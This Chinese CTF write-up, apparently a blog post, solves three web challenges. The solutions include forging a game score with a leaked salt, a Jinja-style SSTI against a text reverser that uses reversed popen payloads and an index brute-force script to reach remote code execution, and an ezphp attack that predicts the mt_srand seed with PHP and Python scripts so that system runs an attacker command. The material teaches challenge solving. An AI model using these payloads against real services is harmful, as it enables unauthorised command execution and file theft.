DASCTF九月赛
前言
纯fw,比赛时没做出来,现在来复现两个Web题。(第二个SSTI刚学过但是没看出来,我是fw)
dino3d
打开环境
是个小游戏,抓包开始玩
=发现跳转到check.php,同时有了一些参数,在网页端查找一下js文件看是否能找到这个
ckeck.php
相关的代码。
发现一个sn函数,跟进查看一下
sn(e,t){e&&t&&fetch("/check.php",{method:"POST",headers:{"Content-type":"application/x-www-form-urlencoded; charset=UTF-8"},body:"score="+parseInt(e).toString()+"&checkCode="+md5(parseInt(e).toString()+t)+"&tm="+(+new Date).toString().substring(0,10)}).then(e=>e.text()).then(e=>alert(e))}
重点也就是这里
score="+parseInt(e).toString()+"
checkCode="+md5(parseInt(e).toString()+t)
同时需要注意一个侧重点,就是这里有一个时间tm="+(+new Date).toString().substring(0,10)})
,我们需要他是正确的,我们如果想利用bp的话,还需要爆破,这里就出现了一种思路,即用控制台来实现结果的替代,这个先记着,往下继续。
接下来因为这个是在sn
函数里的,所以选择跟进一下这个sn
函数,看哪里调用了它
结合这个来看的话,就可以比较明显的看出e是我们的成绩,t是checkcode
这种东西,找一下checkcode
var checkCode="DASxCBCTF"+salt;
跟进找一下salt
var salt="_wElc03e";
这样就得到了checkCode,即DASxCBCTF_wElc03e
,接下来我们就可以利用控制台来进行实时交互
Text Reverser
一个登录框,经过检测发现<
和>
这些被ban,暂不考虑xss,尝试{{
时发现被过滤
一眼顶针,鉴定为小黑子,不过针对这里的话就可以猜测一下了,可能是SSTI,我们尝试用{%
代替{{
,构造payload如下
}%)2*1(tnirp%{
结果为2,说明存在SSTI模板注入,接下来寻找可利用函数
这里既然是有回显的,那我们就可以利用os._wrap_close
这个类,脚本如下
#@Author:quan9i
import requests
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
for i in range(500):
try:
url = "http://ca8299c2-16ce-4d47-8568-726500340088.node4.buuoj.cn:81/"
a = "{%print(''.__class__.__mro__[-1].__subclasses__()["+str(i)+"])%}"
payload = a[::-1]
#print(payload)
data={
'text': '{}'.format(payload)
}
#print(data)
res = requests.post(url=url,data=data, headers=headers)
#print(res.text)
if 'os._wrap_close' in res.text:
print(payload)
print(i)
pass
except:
pass
接下来调用这个类里的popen
方法,然后就可以RCE了,但是由于这个把文本倒置,还需要一个小脚本来生成对应payload
#a = "{%print(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('ls /').read())%}"
a = "{%print(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('nl /f*').read())%}"
a = a[::-1]
print(a)
第一个用于查找文件,第二个用于查看flag,最终payload如下
}%))(daer.)'*f/ ln'(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.]1-[__orm__.__ssalc__.''(tnirp%{
浙江省赛2022决赛 ezphp
https://www.jishuchi.com/read/php-interview/2723
<?php
highlight_file(__FILE__);
mt_srand(time());
$a = array("system",$_GET['cmd']);
for($i=0;$i<=10000;$i++){
array_push($a,"Ctfer");
}
shuffle($a);
$a[$_GET['b']]($a[$_GET['c']]);
?>
代码如下,这里需要科普一下PHP7版本
PHP 7.1.0:内置的随机数产生算法从 libc rand 函数改成 梅森旋转演伪随机数发生算法。
本来是不可以爆破的,现在可以爆破了。我们伪造一个时间戳,让它是未来时间的,这样就符合了要求。
方法一
找对应下标
<?php
mt_srand(1663982460);
$a = array("system","ls /;cat /f*");
for ($i=0;$i<=10000;$i++){
array_push($a,"Ctfer");
}
shuffle($a);
$s = "";
foreach($a as $key=>$value){
$s = $s."[".$key."]".$value."\\n";
}
$fp = fopen('output.txt','w+');
fwrite($fp,$s);
爆破拿flag
import requests
import time
url = '<http://1.14.97.218:27546/?cmd=ls> /;cat /f*&b=9168&c=5478'
while True:
# time.sleep(0.01)
r = requests.get(url)
print(r.text)
对应解释如下:
它这个time肯定是超前的,就是未来的时间戳,应该大概上就是通过time()+1这种方式得到的,然后把他作为种子,然后现在按这个方法来排序,将所有数组元素进行遍历,这个时候就得到了未来时间数组的全部元素对应的位置,它把这个写到了一个文件里,然后它在这个文件里发现9618对应的是system,5478对应的是ls /命令,此时他就可以写一个脚本,让b=9618,c=5478,开始进行爆破,因为是未来时间的,所以肯定有这种情况,很快就能够爆破到
方法二
我们只需要让b对应的是system那个元素,c对应的是执行语句的就可以,写个文件
<?php
mt_srand(time() + 1);
$cmd='ls+-al+./';
$a = array("system", $cmd);
for($i=0;$i<=10000;$i++){
array_push($a,"Ctfer");
}
shuffle($a);
$n1 = array_search('system', $a);
$n2 = array_search($cmd, $a);
//创建一个Curl资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL,
"http://xxx:xxx:xxx:xxx/index.php?cmd=" . $cmd . "&b=" . $n1
. "&c=" . $n2);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// 抓取URL并把它传递给浏览器
$s = curl_exec($ch);
print_r($s);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
接下来用bp抓包,进行多次爆破就可以了
师傅方便加个联系方式?交流交流学习
好,本人只是小白,还请师傅多加指点。
QQ:1537969147